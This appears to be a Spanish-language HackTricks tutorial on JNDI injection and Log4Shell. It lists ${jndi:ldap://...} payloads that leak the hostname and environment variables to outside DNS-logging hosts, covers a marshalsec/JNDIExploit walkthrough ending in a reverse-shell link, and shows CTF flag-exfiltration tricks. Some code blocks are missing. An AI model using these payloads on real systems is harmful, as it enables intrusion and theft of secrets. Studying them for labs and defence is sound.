JNDI - Java Naming and Directory Interface & Log4Shell
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
JNDI, integrado en Java desde finales de la década de 1990, sirve como un servicio de directorio, permitiendo que los programas Java localicen datos u objetos a través de un sistema de nombres. Soporta varios servicios de directorio a través de interfaces de proveedor de servicios (SPIs), permitiendo la recuperación de datos de diferentes sistemas, incluidos objetos Java remotos. Los SPIs comunes incluyen CORBA COS, Java RMI Registry y LDAP.
Los objetos Java pueden ser almacenados y recuperados utilizando Referencias de Nombres JNDI, que vienen en dos formas:
Reference Addresses: Especifica la ubicación de un objeto (por ejemplo, rmi://server/ref), permitiendo la recuperación directa desde la dirección especificada.
Remote Factory: Hace referencia a una clase de fábrica remota. Cuando se accede, la clase se descarga e instancia desde la ubicación remota.
Sin embargo, este mecanismo puede ser explotado, lo que puede llevar a la carga y ejecución de código arbitrario. Como contramedida:
RMI: java.rmi.server.useCodeabseOnly = true
por defecto desde JDK 7u21, restringiendo la carga de objetos remotos. Un Administrador de Seguridad limita aún más lo que se puede cargar.
LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false
por defecto desde JDK 6u141, 7u131, 8u121, bloqueando la ejecución de objetos Java cargados remotamente. Si se establece en true
, la ejecución de código remoto es posible sin la supervisión de un Administrador de Seguridad.
CORBA: No tiene una propiedad específica, pero el Administrador de Seguridad siempre está activo.
Sin embargo, el Naming Manager, responsable de resolver enlaces JNDI, carece de mecanismos de seguridad integrados, lo que puede permitir la recuperación de objetos de cualquier fuente. Esto representa un riesgo, ya que las protecciones de RMI, LDAP y CORBA pueden ser eludidas, lo que lleva a la carga de objetos Java arbitrarios o a la explotación de componentes de aplicación existentes (gadgets) para ejecutar código malicioso.
Ejemplos de URLs explotables incluyen:
rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar
A pesar de las protecciones, las vulnerabilidades persisten, principalmente debido a la falta de salvaguardias contra la carga de JNDI desde fuentes no confiables y la posibilidad de eludir las protecciones existentes.
Incluso si has establecido un PROVIDER_URL
, puedes indicar uno diferente en una búsqueda y se accederá: ctx.lookup("<attacker-controlled-url>")
y eso es lo que un atacante abusará para cargar objetos arbitrarios desde un sistema controlado por él.
CORBA (Common Object Request Broker Architecture) emplea una Interoperable Object Reference (IOR) para identificar de manera única objetos remotos. Esta referencia incluye información esencial como:
Type ID: Identificador único para una interfaz.
Codebase: URL para obtener la clase stub.
Notablemente, CORBA no es inherentemente vulnerable. Asegurar la seguridad típicamente implica:
Instalación de un Administrador de Seguridad.
Configurar el Administrador de Seguridad para permitir conexiones a codebases potencialmente maliciosas. Esto se puede lograr a través de:
Permiso de socket, por ejemplo, permissions java.net.SocketPermission "*:1098-1099", "connect";
.
Permisos de lectura de archivos, ya sea de manera universal (permission java.io.FilePermission "<<ALL FILES>>", "read";
) o para directorios específicos donde podrían colocarse archivos maliciosos.
Sin embargo, algunas políticas de proveedores pueden ser indulgentes y permitir estas conexiones por defecto.
Para RMI (Remote Method Invocation), la situación es algo diferente. Al igual que con CORBA, la descarga de clases arbitrarias está restringida por defecto. Para explotar RMI, uno típicamente necesitaría eludir el Administrador de Seguridad, un logro que también es relevante en CORBA.
Primero que nada, necesitamos distinguir entre una Búsqueda y una Búsqueda por Nombre.
Una búsqueda utilizará una URL como ldap://localhost:389/o=JNDITutorial
para encontrar el objeto JNDITutorial desde un servidor LDAP y recuperar sus atributos.
Una búsqueda por nombre está destinada a servicios de nombres ya que queremos obtener cualquier cosa que esté vinculada a un nombre.
Si la búsqueda LDAP fue invocada con SearchControls.setReturningObjFlag() con true
, entonces el objeto devuelto será reconstruido.
Por lo tanto, hay varias formas de atacar estas opciones. Un atacante puede envenenar registros LDAP introduciendo cargas útiles en ellos que serán ejecutadas en los sistemas que las recopilan (muy útil para comprometer decenas de máquinas si tienes acceso al servidor LDAP). Otra forma de explotar esto sería realizar un ataque MitM en una búsqueda LDAP, por ejemplo.
En caso de que puedas hacer que una aplicación resuelva una URL JNDI LDAP, puedes controlar el LDAP que será buscado, y podrías devolver la explotación (log4shell).
La explotación está serializada y será deserializada.
En caso de que trustURLCodebase
sea true
, un atacante puede proporcionar sus propias clases en el codebase, de lo contrario, necesitará abusar de gadgets en el classpath.
Es más fácil atacar este LDAP usando JavaFactory references:
La vulnerabilidad se introduce en Log4j porque soporta una sintaxis especial en la forma ${prefix:name}
donde prefix
es uno de varios Lookups donde name
debe ser evaluado. Por ejemplo, ${java:version}
es la versión actual de Java en ejecución.
LOG4J2-313 introdujo una función de búsqueda jndi
. Esta función permite la recuperación de variables a través de JNDI. Típicamente, la clave se prefija automáticamente con java:comp/env/
. Sin embargo, si la clave misma incluye un ":", este prefijo predeterminado no se aplica.
Con un : presente en la clave, como en ${jndi:ldap://example.com/a}
no hay prefijo y se consulta al servidor LDAP por el objeto. Y estas búsquedas pueden ser utilizadas tanto en la configuración de Log4j como cuando se registran líneas.
Por lo tanto, lo único que se necesita para obtener RCE es una versión vulnerable de Log4j procesando información controlada por el usuario. Y debido a que esta es una biblioteca ampliamente utilizada por aplicaciones Java para registrar información (incluidas aplicaciones expuestas a Internet), era muy común tener log4j registrando, por ejemplo, encabezados HTTP recibidos como el User-Agent. Sin embargo, log4j no se utiliza solo para registrar información HTTP, sino cualquier entrada y datos que el desarrollador indicó.
Esta vulnerabilidad es un fallo de deserialización no confiable crítico en el componente log4j-core
, que afecta versiones desde 2.0-beta9 hasta 2.14.1. Permite ejecución remota de código (RCE), permitiendo a los atacantes tomar el control de los sistemas. El problema fue reportado por Chen Zhaojun del equipo de seguridad de Alibaba Cloud y afecta a varios marcos de Apache. La solución inicial en la versión 2.15.0 fue incompleta. Las reglas Sigma para defensa están disponibles (Regla 1, Regla 2).
Inicialmente calificado como bajo pero luego actualizado a crítico, este CVE es un fallo de Denegación de Servicio (DoS) resultante de una solución incompleta en 2.15.0 para CVE-2021-44228. Afecta configuraciones no predeterminadas, permitiendo a los atacantes causar ataques DoS a través de cargas útiles diseñadas. Un tweet muestra un método de elusión. El problema se resolvió en las versiones 2.16.0 y 2.12.2 al eliminar patrones de búsqueda de mensajes y deshabilitar JNDI por defecto.
Afectando a versiones de Log4j 1.x en configuraciones no predeterminadas que utilizan JMSAppender
, este CVE es un fallo de deserialización no confiable. No hay solución disponible para la rama 1.x, que está fuera de soporte, y se recomienda actualizar a log4j-core 2.17.0
.
Esta vulnerabilidad afecta al marco de registro Logback, un sucesor de Log4j 1.x. Anteriormente se pensaba que era seguro, el marco se encontró vulnerable, y se han lanzado versiones más nuevas (1.3.0-alpha11 y 1.2.9) para abordar el problema.
Log4j 2.16.0 contiene un fallo de DoS, lo que llevó al lanzamiento de log4j 2.17.0
para solucionar el CVE. Más detalles están en el informe de BleepingComputer.
Afectando a la versión 2.17 de log4j, este CVE requiere que el atacante controle el archivo de configuración de log4j. Involucra la posible ejecución de código arbitrario a través de un JDBCAppender configurado. Más detalles están disponibles en el blog de Checkmarx.
Esta vulnerabilidad es muy fácil de descubrir si no está protegida porque enviará al menos una solicitud DNS a la dirección que indiques en tu carga útil. Por lo tanto, cargas útiles como:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(usando canarytokens.com)
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(usando interactsh)
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(usando Burp Suite)
${jndi:ldap://2j4ayo.dnslog.cn}
(usando dnslog)
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
usando (usando huntress)
Ten en cuenta que incluso si se recibe una solicitud DNS, eso no significa que la aplicación sea explotable (o incluso vulnerable), necesitarás intentar explotarla.
Recuerda que para explotar la versión 2.15 necesitas agregar el bypass de verificación de localhost: ${jndi:ldap://127.0.0.1#...}
Busca versiones vulnerables locales de la biblioteca con:
Algunas de las plataformas mencionadas anteriormente te permitirán insertar algunos datos variables que se registrarán cuando se soliciten. Esto puede ser muy útil para 2 cosas:
Para verificar la vulnerabilidad
Para exfiltrar información abusando de la vulnerabilidad
Por ejemplo, podrías solicitar algo como:
o como ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
y si se recibe una solicitud DNS con el valor de la variable de entorno, sabes que la aplicación es vulnerable.
Otra información que podrías intentar filtrar:
Los hosts que ejecutan versiones de JDK superiores a 6u141, 7u131 o 8u121 están protegidos contra el vector de ataque de carga de clases LDAP. Esto se debe a la desactivación predeterminada de com.sun.jndi.ldap.object.trustURLCodebase
, que impide que JNDI cargue una base de código remota a través de LDAP. Sin embargo, es crucial notar que estas versiones no están protegidas contra el vector de ataque de deserialización.
Para los atacantes que buscan explotar estas versiones más altas de JDK, es necesario aprovechar un gadget de confianza dentro de la aplicación Java. Herramientas como ysoserial o JNDIExploit se utilizan a menudo para este propósito. Por el contrario, explotar versiones más bajas de JDK es relativamente más fácil, ya que estas versiones pueden ser manipuladas para cargar y ejecutar clases arbitrarias.
Para más información (como limitaciones en los vectores RMI y CORBA) consulta la sección anterior de Referencia de Nombres JNDI o https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
Puedes probar esto en la THM box: https://tryhackme.com/room/solar
Usa la herramienta marshalsec (versión jar disponible aquí). Este enfoque establece un servidor de referencia LDAP para redirigir conexiones a un servidor HTTP secundario donde se alojará el exploit:
Para incitar al objetivo a cargar un código de shell inverso, crea un archivo Java llamado Exploit.java
con el siguiente contenido:
Compila el archivo Java en un archivo de clase usando: javac Exploit.java -source 8 -target 8
. A continuación, inicia un servidor HTTP en el directorio que contiene el archivo de clase con: python3 -m http.server
. Asegúrate de que el servidor LDAP marshalsec haga referencia a este servidor HTTP.
Desencadena la ejecución de la clase de exploit en el servidor web susceptible enviando una carga útil que se asemeje a:
Nota: Este exploit depende de la configuración de Java para permitir la carga de código base remoto a través de LDAP. Si esto no es permisible, considera explotar una clase de confianza para la ejecución arbitraria de código.
Ten en cuenta que por alguna razón el autor eliminó este proyecto de github después del descubrimiento de log4shell. Puedes encontrar una versión en caché en https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 pero si deseas respetar la decisión del autor, utiliza un método diferente para explotar esta vulnerabilidad.
Además, no puedes encontrar el código fuente en wayback machine, así que analiza el código fuente o ejecuta el jar sabiendo que no sabes lo que estás ejecutando.
Para este ejemplo, puedes simplemente ejecutar este servidor web vulnerable a log4shell en el puerto 8080: https://github.com/christophetd/log4shell-vulnerable-app (en el README encontrarás cómo ejecutarlo). Esta aplicación vulnerable está registrando con una versión vulnerable de log4shell el contenido del encabezado de la solicitud HTTP X-Api-Version.
Luego, puedes descargar el archivo jar de JNDIExploit y ejecutarlo con:
Después de leer el código solo un par de minutos, en com.feihong.ldap.LdapServer y com.feihong.ldap.HTTPServer puedes ver cómo se crean los servidores LDAP y HTTP. El servidor LDAP entenderá qué payload necesita ser servido y redirigirá a la víctima al servidor HTTP, que servirá el exploit. En com.feihong.ldap.gadgets puedes encontrar algunos gadgets específicos que pueden ser utilizados para ejecutar la acción deseada (potencialmente ejecutar código arbitrario). Y en com.feihong.ldap.template puedes ver las diferentes clases de plantilla que generarán los exploits.
Puedes ver todos los exploits disponibles con java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Algunos útiles son:
Así que, en nuestro ejemplo, ya tenemos esa aplicación vulnerable de docker en funcionamiento. Para atacarla:
Cuando envíes los ataques, verás alguna salida en la terminal donde ejecutaste JNDIExploit-1.2-SNAPSHOT.jar.
Recuerda verificar java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
para otras opciones de explotación. Además, en caso de que lo necesites, puedes cambiar el puerto de los servidores LDAP y HTTP.
De manera similar al exploit anterior, puedes intentar usar JNDI-Exploit-Kit para explotar esta vulnerabilidad. Puedes generar las URLs para enviar a la víctima ejecutando:
Este ataque utilizando un objeto java generado de forma personalizada funcionará en laboratorios como la THM solar room. Sin embargo, esto generalmente no funcionará (ya que por defecto Java no está configurado para cargar una base de código remota usando LDAP) creo que porque no está abusando de una clase de confianza para ejecutar código arbitrario.
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus es otra herramienta para generar enlaces JNDI funcionales y proporcionar servicios de fondo iniciando un servidor RMI, un servidor LDAP y un servidor HTTP.\
Esta opción es realmente útil para atacar versiones de Java configuradas para confiar solo en clases específicas y no en todas. Por lo tanto, ysoserial se utilizará para generar serializaciones de clases de confianza que pueden ser utilizadas como gadgets para ejecutar código arbitrario (la clase de confianza abusada por ysoserial debe ser utilizada por el programa java de la víctima para que el exploit funcione).
Usando ysoserial o ysoserial-modified puedes crear el exploit de deserialización que será descargado por JNDI:
Usa JNDI-Exploit-Kit para generar enlaces JNDI donde el exploit estará esperando conexiones de las máquinas vulnerables. Puedes servir diferentes exploits que pueden ser generados automáticamente por el JNDI-Exploit-Kit o incluso tus propios payloads de deserialización (generados por ti o ysoserial).
Ahora puedes usar fácilmente un enlace JNDI generado para explotar la vulnerabilidad y obtener un reverse shell simplemente enviándolo a una versión vulnerable de log4j: ${ldap://10.10.14.10:1389/generated}
https://github.com/palantir/log4j-sniffer - Encontrar bibliotecas vulnerables locales
En este informe CTF se explica bien cómo es potencialmente posible abusar de algunas características de Log4J.
La página de seguridad de Log4j tiene algunas frases interesantes:
A partir de la versión 2.16.0 (para Java 8), la función de búsqueda de mensajes ha sido completamente eliminada. Las búsquedas en la configuración aún funcionan. Además, Log4j ahora desactiva el acceso a JNDI por defecto. Las búsquedas JNDI en la configuración ahora deben habilitarse explícitamente.
A partir de la versión 2.17.0, (y 2.12.3 y 2.3.1 para Java 7 y Java 6), solo las cadenas de búsqueda en la configuración se expanden recursivamente; en cualquier otro uso, solo se resuelve la búsqueda de nivel superior, y las búsquedas anidadas no se resuelven.
Esto significa que por defecto puedes olvidarte de usar cualquier exploit jndi
. Además, para realizar búsquedas recursivas necesitas tenerlas configuradas.
Por ejemplo, en ese CTF esto se configuró en el archivo log4j2.xml:
En este CTF, el atacante controlaba el valor de ${sys:cmd}
y necesitaba exfiltrar la bandera de una variable de entorno.
Como se vio en esta página en cargas útiles anteriores, hay diferentes formas de acceder a las variables de entorno, como: ${env:FLAG}
. En este CTF esto fue inútil, pero podría no serlo en otros escenarios de la vida real.
En el CTF, no podías acceder al stderr de la aplicación java usando log4J, pero las excepciones de Log4J se envían a stdout, que se imprimió en la aplicación de python. Esto significaba que al desencadenar una excepción podíamos acceder al contenido. Una excepción para exfiltrar la bandera fue: ${java:${env:FLAG}}
. Esto funciona porque ${java:CTF{blahblah}}
no existe y se mostrará una excepción con el valor de la bandera:
Solo para mencionarlo, también podrías inyectar nuevos patrones de conversión y desencadenar excepciones que se registrarán en stdout
. Por ejemplo:
Esto no se encontró útil para exfiltrar datos dentro del mensaje de error, porque la búsqueda no se resolvió antes del patrón de conversión, pero podría ser útil para otras cosas como la detección.
Sin embargo, es posible usar algunos patrones de conversión que soportan expresiones regulares para exfiltrar información de una búsqueda utilizando expresiones regulares y abusando de búsqueda binaria o comportamientos basados en tiempo.
Búsqueda binaria a través de mensajes de excepción
El patrón de conversión %replace
se puede usar para reemplazar contenido de una cadena incluso usando expresiones regulares. Funciona así: replace{pattern}{regex}{substitution}
Abusando de este comportamiento podrías hacer que el reemplazo desencadene una excepción si la expresión regular coincidía con algo dentro de la cadena (y ninguna excepción si no se encontraba) así:
Basado en tiempo
Como se mencionó en la sección anterior, %replace
soporta regexes. Así que es posible usar un payload de la página de ReDoS para causar un timeout en caso de que se encuentre la bandera.
Por ejemplo, un payload como %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
desencadenaría un timeout en ese CTF.
En este writeup, en lugar de usar un ataque ReDoS, se utilizó un ataque de amplificación para causar una diferencia de tiempo en la respuesta:
Si la bandera comienza con
flagGuess
, toda la bandera es reemplazada por 29#
-s (usé este carácter porque probablemente no formaría parte de la bandera). Cada uno de los 29#
-s resultantes es luego reemplazado por 54#
-s. Este proceso se repite 6 veces, llevando a un total de29*54*54^6* =`` ``
96816014208
#
-s!Reemplazar tantos
#
-s desencadenará el timeout de 10 segundos de la aplicación Flask, lo que a su vez resultará en que se envíe el código de estado HTTP 500 al usuario. (Si la bandera no comienza conflagGuess
, recibiremos un código de estado que no es 500)
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)